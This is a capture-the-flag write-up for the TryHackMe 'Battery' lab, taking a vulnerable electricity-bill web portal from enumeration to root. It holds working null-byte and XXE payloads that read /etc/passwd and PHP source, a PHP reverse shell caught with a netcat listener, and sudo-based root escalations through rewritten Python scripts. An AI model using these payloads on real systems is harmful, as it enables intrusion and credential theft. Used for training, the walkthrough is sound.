TryHackMe - Battery
Electricity bill portal has been hacked many times in the past , so we have fired one of the employee from the security team , As a new recruit you need to work like a hacker to find the loop holes in the portal and gain root access to the server .
Hope you will enjoy the journey !
Title | Battery |
---|---|
Difficulty | Medium |
Author | Th3lazykid and golith3r00t |
Tags | web application, python, enumeration, linux |
Enumeration
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn battery.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 06:51 EDT
Nmap scan report for battery.thm (10.10.208.88)
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.83 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 battery.thm
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 06:51 EDT
Nmap scan report for battery.thm (10.10.208.88)
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| 2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| 256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_ 256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.4 (99%), Linux 3.10 - 3.13 (96%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 251.35 ms 10.9.0.1
2 251.46 ms battery.thm (10.10.208.88)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.44 seconds
HTTP (port 80
)
<html>
<body style="background-color:black;">
<pre style="text-align:center;color:red">
_ _ _
| |__ __ _| |_| |_ ___ _ __ _ _
| '_ \ / _` | __| __/ _ \ '__| | | |
| |_) | (_| | |_| || __/ | | |_| |
|_.__/ \__,_|\__|\__\___|_| \__, |
|___/
<sub>designed by cyberbot :)</sub>
</pre>
</body>
</html>
Dir Scan
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://battery.thm/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://battery.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/scripts (Status: 301) [Size: 311] [--> http://battery.thm/scripts/]
/report (Status: 200) [Size: 16912]
Analyze /report
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ curl http://battery.thm/report
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ curl http://battery.thm/report --output report
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 16912 100 16912 0 0 15749 0 0:00:01 0:00:01 --:--:-- 15761
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ ls -l; file report
total 20
-rw-r--r-- 1 kali kali 16912 Oct 6 06:55 report
report: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped
Because the report
file is a ELF executable file, I will use ghidra
to analyze it and then I capture these functions inside:
function main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
undefined8 main(void)
{
int iVar1;
int local_8c;
char local_88 [32];
char local_68 [32];
undefined local_48 [32];
undefined local_28 [32];
local_8c = 0;
puts("\n\n\n");
puts("Welcome To ABC DEF Bank Managemet System!\n\n");
printf("UserName : ");
**isoc99_scanf(&DAT_001021f0,local_68);
puts("\n");
printf("Password : ");
**isoc99_scanf(&DAT_001021f0,local_88);
iVar1 = strcmp(local_68,"guest");
if ((iVar1 == 0) && (iVar1 = strcmp(local_88,"guest"), iVar1 == 0)) {
options();
while (local_8c != 5) {
printf("Your Choice : ");
**isoc99_scanf(&DAT_00102216,&local_8c);
if (local_8c == 1) {
users();
}
else if (local_8c == 4) {
printf("email : ");
**isoc99_scanf(&DAT_001021f0,local_28);
puts("\n");
printf("Password : ");
\_\_isoc99_scanf(&DAT_001021f0,local_48);
update(local_28,local_48);
}
else if ((local_8c == 3) || (local_8c == 2)) {
puts("not available for guest account\n");
system("clear");
options();
}
else {
puts("Wrong option\n");
system("clear");
options();
}
}
}
else {
printf("Wrong username or password");
}
return 0;
}
function options()
1
2
3
4
5
6
7
8
9
10
11
12
void options(void)
{
puts("Welcome Guest\n");
puts("===================Available Options==============\n");
puts("1. Check users");
puts("2. Add user");
puts("3. Delete user");
puts("4. change password");
puts("5. Exit");
return;
}
function users()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void users(void)
{
system("clear");
puts("\n===============List of active users================");
puts("support@bank.a");
puts("contact@bank.a");
puts("cyber@bank.a");
puts("admins@bank.a");
puts("sam@bank.a");
puts("admin0@bank.a");
puts("super_user@bank.a");
puts("admin@bank.a");
puts("control_admin@bank.a");
puts("it_admin@bank.a\n\n");
options();
return;
}
function update()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void update(char \*param_1)
{
int iVar1;
iVar1 = strcmp(param_1,"admin@bank.a");
if (iVar1 == 0) {
puts("Password Updated Successfully!\n");
options();
}
else {
puts("Sorry you can\'t update the password\n");
options();
}
return;
}
From the functions users()
and update()
, the user admin@bank.a might be the real administrator of the server have much more permissions than the others. But where could I use this user to exploit? Let’s enumerate the target deeper!
Extensions Fuzzing
┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 40 --no-error -u http://battery.thm/ -x .php,.txt,.js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://battery.thm/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,js
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/register.php (Status: 200) [Size: 715]
/admin.php (Status: 200) [Size: 663]
/scripts (Status: 301) [Size: 311] [--> http://battery.thm/scripts/]
/forms.php (Status: 200) [Size: 2334]
/report (Status: 200) [Size: 16912]
/logout.php (Status: 302) [Size: 0] [--> admin.php]
/dashboard.php (Status: 302) [Size: 908] [--> admin.php]
/acc.php (Status: 200) [Size: 1104]
So after appending the extensions on the target URL, I explore many paths with .php
. I try to enter one of them and it navigates me to the admin.php
path containing the login form:
I try to input a random pair of creds but it responses with a pop-up window which means no HTML
attributes. Therefore, I cannot use hydra
to try to brute-force the creds:
Hmmm… So not brute-force, then I decide to register a new account to see how the default page after I login looks like:
Exploit
The dashboard.php
contains many internal links which are displayed on the top-bar. However, most of them are restricted to be accessed by normal account. So I have to find the way out to compromise the real admin account.
Null Byte Injection
In this section, I will use the technique Null Byte Injection which adds the null byte characters such as %00
after a string or value. When the data is sent, the target server/application which is not well-validated data will accept the value that must be filtered/discarded.
Unfortunately that the username field on the Registration Form restricts the input size of value that I cannot append the %00
characters after the admin username admin@bank.a:
To solve this problem, I use Burpsuite to capture the submit request and modify the payload inside:
uname=admin%40bank.a%00&bank=ABC&password=1234&btn=Register+me%21
As the alert()
says Registered successfully, I get back to the login form and login as the user admin with my own specified password:
XXE Injection
Now, I have the permission to access all these internal links:
1
2
3
4
5
6
7
8
9
10
<ul>
<li><a href="dashboard.php">Dashboard</a></li>
<li><a href="with.php">Withdraw Money</a></li>
<li><a href="depo.php">Deposit Money</a></li>
<li><a href="tra.php">Transfer Money</a></li>
<li><a href="acc.php">My Account</a></li>
<li><a href="forms.php">command</a></li>
<li><a href="logout.php">Logout</a></li>
<li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul>
I click on the command option which routes me to the forms.php
path:
From the source code of the page, I discover an XMLFunction applies on the forms.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function XMLFunction() {
var xml =
"" +
'<?xml version="1.0" encoding="UTF-8"?>' +
"<root>" +
"<name>" +
$("#name").val() +
"</name>" +
"<search>" +
$("#search").val() +
"</search>" +
"</root>";
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById("errorMessage").innerHTML = xmlhttp.responseText;
}
};
xmlhttp.open("POST", "forms.php", true);
xmlhttp.send(xml);
}
This could lead to the XXE Injection vulnerability and could scale up to the LFI vulnerability which allows me to read the local files on the server. To initiate the exploitation, I input normal values into the form and submit it, then I capture the packets on Burpsuite:
POST /forms.php HTTP/1.1
Host: battery.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 91
Origin: http://battery.thm
Connection: close
Referer: http://battery.thm/forms.php
Cookie: PHPSESSID=n3sn1v5ebcr49c5b4t49vrb7l5
<?xml version="1.0" encoding="UTF-8"?>
<root><name>1</name><search>whoareyou?</search></root>
From here, I modify the request with the XXE Injection payload to test the vulnerability whether I could read the /etc/passwd
file:
POST /forms.php HTTP/1.1
Host: battery.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Origin: http://battery.thm
Connection: close
Referer: http://battery.thm/forms.php
Cookie: PHPSESSID=n3sn1v5ebcr49c5b4t49vrb7l5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE search [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><name>1</name><search>&xxe;</search></root>
Ok, it works! Now, I want to explore whether the others path (acc.php
,tra.php
,depo.php
,with.php
) contains any sensitive information. However, the response does not look like what I expected:
<!DOCTYPE search [<!ENTITY xxe SYSTEM "file:///acc.php">
There might be a trigger error with the xml parser. Though, I use the php filter to exfiltrate the data and encode the data to base64:
<!DOCTYPE search [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=acc.php"> ]
After decoding the data, I get this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<html>
<head>
<style>
[...]
</style>
</head>
<body>
<ul>
<li><a href="dashboard.php">Dashboard</a></li>
<li><a href="with.php">Withdraw Money</a></li>
<li><a href="depo.php">Deposit Money</a></li>
<li><a href="tra.php">Transfer Money</a></li>
<li><a href="acc.php">My Account</a></li>
<li><a href="forms.php">command</a></li>
<li><a href="logout.php">Logout</a></li>
<li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>
</body>
</html>
<?php
session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="admin@bank.a")
{
echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:[REDACTED]
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>
Focus on the comment line, I got the ssh credentials:
//MY CREDS :- cyber:[REDACTED]
Login ssh as user cyber and easily get the first flag which is Base Flag in the question task:
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ ssh cyber@battery.thm
The authenticity of host 'battery.thm (10.10.248.7)' can't be established.
ED25519 key fingerprint is SHA256:bTNXpvfykuLebPN3kSFZTMvEtACHZnk64YKhtu6tMKI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'battery.thm' (ED25519) to the list of known hosts.
cyber@battery.thm's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Fri Oct 6 19:11:41 IST 2023
System load: 3.07 Processes: 102
Usage of /: 2.4% of 68.28GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.248.7
Swap usage: 0%
=> There are 3 zombie processes.
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Tue Nov 17 17:02:47 2020 from 192.168.29.248
cyber@ubuntu:~$ pwd;ls -la
/home/cyber
total 32
drwx------ 3 cyber cyber 4096 Nov 17 2020 .
drwxr-xr-x 4 root root 4096 Nov 16 2020 ..
-rw------- 1 cyber cyber 0 Nov 17 2020 .bash_history
-rw-r--r-- 1 cyber cyber 220 Nov 9 2020 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov 9 2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov 9 2020 .cache
-rw--w---- 1 cyber cyber 85 Nov 15 2020 flag1.txt
-rw-r--r-- 1 cyber cyber 675 Nov 9 2020 .profile
-rwx------ 1 root root 349 Nov 15 2020 run.py
cyber@ubuntu:~$ cat flag1.txt
THM{[REDACTED]}
Sorry I am not good in designing ascii art :(
Privilege Escalation
Method 1: Directly Escalate to Root
Type sudo -l
to view the available root commands could be run by user cyber:
cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cyber may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
Beside the run.py is unable to read or modify, I try to execute it to see what would happen:
cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py
Hey Cyber I have tested all the main components of our web server but something unusal happened from my end!
As the run.py is located in cyber’s directory, I can modify its name using mv
command and create a new run.py which will establish the shell. Combining with the sudo command when executing, it could scale up to the root shell:
cyber@ubuntu:~$ ls -l
total 8
-rw--w---- 1 cyber cyber 85 Nov 15 2020 flag1.txt
-rwx------ 1 root root 349 Nov 15 2020 run.py
cyber@ubuntu:~$ nano run.py
cyber@ubuntu:~$ ls -l
total 12
-rw--w---- 1 cyber cyber 85 Nov 15 2020 flag1.txt
-rw-rw-r-- 1 cyber cyber 33 Oct 6 19:41 run.py
-rwx------ 1 root root 349 Nov 15 2020 run.py.bak
cyber@ubuntu:~$ cat run.py
import os
os.system('/bin/bash')
cyber@ubuntu:~$ sudo python3 /home/cyber/run.py
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
Now just simply access where ever I want and get both user flag and root flag:
root@ubuntu:/home# ls -l
total 8
drwx------ 3 cyber cyber 4096 Oct 6 19:41 cyber
drwx------ 3 yash yash 4096 Nov 17 2020 yash
root@ubuntu:/home# cd yash
root@ubuntu:/home/yash# ls -l
total 16
-rwx------ 1 root root 864 Nov 17 2020 emergency.py
-rw-rw-r-- 1 yash yash 167 Nov 17 2020 fernet
-rw-rw-r-- 1 yash yash 68 Nov 16 2020 flag2.txt
-rw--w---- 1 yash yash 295 Nov 15 2020 root.txt
root@ubuntu:/home/yash# cat flag2.txt
THM{[REDACTED]}
Sorry no ASCII art again :(
root@ubuntu:/home/yash# cd /root
root@ubuntu:/root# ls -l
total 4
-rw-r--r-- 1 root root 937 Nov 16 2020 root.txt
root@ubuntu:/root# cat root.txt
████████████████████████████████████
██ ██
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ██
████████████████████████████████████
battery designed by cyberbot :)
Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859
THM{[REDACTED]}
Method 2: user1 → user2 → root
List the /home/
directory and combine with the information from the /etc/passwd
file, I observe that there is another available user on this system which is yash:
cyber@ubuntu:~$ ls -l /home/
total 8
drwx------ 3 cyber cyber 4096 Oct 6 19:41 cyber
drwx------ 3 yash yash 4096 Nov 17 2020 yash
I upload the pspy64 from my machine to /home/cyber/
location and execute it. Then I explore the that every time the run.py execute, the apache2 service will be restarted:
2023/10/06 22:15:38 CMD: UID=0 PID=1628 | sh -c service apache2 restart > /dev/null 2>&1
I check out the /apache2/
directory and find out the directory and the apache2.conf
is able to modify:
cyber@ubuntu:~$ ls -l /etc/ | grep "apache2"
drwxr-xr-x 8 root root 4096 Nov 9 2020 apache2
cyber@ubuntu:/etc/apache2$ ls -l apache2.conf
-rwxrwxrwx 1 root root 7117 Oct 6 19:54 apache2.conf
So I change the value User
and Group
from www-data
to yash
:
# These need to be set in /etc/apache2/envvars
User www-data
Group www-data
cyber@ubuntu:/etc/apache2$ cat apache2.conf | grep "yash"
User yash
Group yash
This step allows me to become the user yash instead of www-data when I implement a reverse shell through the HTTP service. Next, the /var/www/html/
directory is also set with SUID permission → I can create the php reverse shell in here and execute it:
cyber@ubuntu:~$ ls -l /var/www
total 4
drwxrwxrwx 3 root root 4096 Oct 6 19:55 html
cyber@ubuntu:~$ ls -l /var/www/html/shell.php
-rw-rw-r-- 1 cyber cyber 5493 Oct 6 19:55 /var/www/html/shell.php
Execute the shell through the web-browser with URL http://battery.thm/shell.php
and establish a listener on local machine, I get the shell as user yash:
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.248.7] 44853
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
20:05:43 up 54 min, 1 user, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
cyber pts/0 ip-10-9-63-75.eu 19:27 15.00s 0.20s 0.20s -bash
uid=1002(yash) gid=1002(yash) groups=1002(yash)
/bin/sh: 0: can't access tty; job control turned off
Then I navigate to the yash directory and get the flag:
yash@ubuntu:/$ cd /home/yash
cd /home/yash
yash@ubuntu:/home/yash$ ls -l
ls -l
total 16
-rwx------ 1 root root 864 Nov 17 2020 emergency.py
-rw-rw-r-- 1 yash yash 167 Nov 17 2020 fernet
-rw-rw-r-- 1 yash yash 68 Nov 16 2020 flag2.txt
-rw--w---- 1 yash yash 295 Nov 15 2020 root.txt
yash@ubuntu:/home/yash# cat flag2.txt
THM{[REDACTED]}
I enumerate the files inside and find out the fernet file is containing some encrypted strings:
yash@ubuntu:/home/yash$ cat fernet
cat fernet
encrypted_text:gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA==
key:7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA=
Base on the file’s name, I do some research and explore the fernet is a type of cipher. Therefore, I write down a Python script to decode the text:
1
2
3
4
5
6
7
8
9
10
11
12
from cryptography.fernet import Fernet
key = "7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted_text = "gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="
fernet = Fernet(key)
token = bytes(encrypted_text, "utf-8")
decoded_text = fernet.decrypt(token)
print(decoded_text)
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ python3 decode_fernet.py
b'[REDACTED]'
So now I got the use yash password, let’s use sudo -l
to view the root commands could be run by yash:
yash@ubuntu:/$ sudo -l
sudo -l
Matching Defaults entries for yash on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User yash may run the following commands on ubuntu:
(root) PASSWD: /usr/bin/python3 /home/yash/emergency.py
The emergency.py could be execute with sudo
command, but it also restricted to view or modify.
yash@ubuntu:/home/yash$ ls -l emergency.py
ls -l emergency.py
-rwx------ 1 root root 868 Oct 6 20:50 emergency.py
Let’s execute it to see what would happen though:
yash@ubuntu:/$ sudo python3 /home/yash/emergency.py
sudo python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed
Oh, so there’s a block of binaries with 0
and 1
, I user CyberChef to decode them and know that the emergency.py file is reading the /opt/binside
file:
Let’s see what the /opt/binside
does:
yash@ubuntu:/home/yash$ ls -l /opt/binside
ls -l /opt/binside
-rwxrwxrwx 1 root root 0 Nov 17 2020 /opt/binside
yash@ubuntu:/home/yash$ cat /opt/binside
cat /opt/binside
Hmm… It’s empty. But it allows me to write on it with the SUID permission x
right? And because the emergency.py displays a block of binaries, so I also insert the binary value into the /opt/binside
too and which I use to insert in is the command that will establish the shell:
┌──(kali㉿kali)-[~/TryHackMe/battery]
└─$ echo -n "/bin/bash" | xxd -b
00000000: 00101111 01100010 01101001 01101110 00101111 01100010 /bin/b
00000006: 01100001 01110011 01101000 ash
yash@ubuntu:/$ echo "00101111 01100010 01101001 01101110 00101111 01100010 01100001 01110011 01101000" > /opt/binside
<110 00101111 01100010 01100001 01110011 01101000" > /opt/binside
Ok, now run the emergency.py with sudo
:
yash@ubuntu:/$ sudo python3 /home/yash/emergency.py
sudo python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human.....................Test Passed [Traceback (most recent call last):
File "/home/yash/emergency.py", line 20, in <module>
inn=int(m,2)
ValueError: invalid literal for int() with base 2: '/bin/bash'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/yash/emergency.py", line 29, in <module>
delay_print("checking if you are a human.....................Test Passed [\u2714]\n\n")
File "/home/yash/emergency.py", line 6, in delay_print
sys.stdout.write(c)
UnicodeEncodeError: 'ascii' codec can't encode character '\u2714' in position 0: ordinal not in range(128)
Oops! There is a UnicodeEncodeError from the file and it was caused by something that implemented by the authors.
Then I have to use the Method 1 to get root and see what’s happening:
1
2
3
delay_print("checking if you are a human...................Test Failed [✘]\n\n")
[...]
delay_print("checking if you are a human.....................Test Passed [✔]\n\n")
Oh!! The [✘]
and [✔]
characters are causing the error. The ascii system can not decode these values because they are out of range of the system. So I have to use root permission to modify them into normal characters to let the ascii system understand and is able to decode them:
root@ubuntu:/home/yash# cat emergency.py | grep "fixed"
delay_print("checking if you are a human...................Test Failed [fixed]\n\n")
delay_print("checking if you are a human.....................Test Passed [fixed]\n\n")
Now, re-execute the file again:
yash@ubuntu:/$ sudo python3 /home/yash/emergency.py
sudo python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed [fixed]
root@ubuntu:/#
Go and get the root flag:
root@ubuntu:/# cd /root/
cd /root/
root@ubuntu:~# cat root.txt
cat root.txt
████████████████████████████████████
██ ██
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ██
████████████████████████████████████
battery designed by cyberbot :)
Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859
THM{[REDACTED]}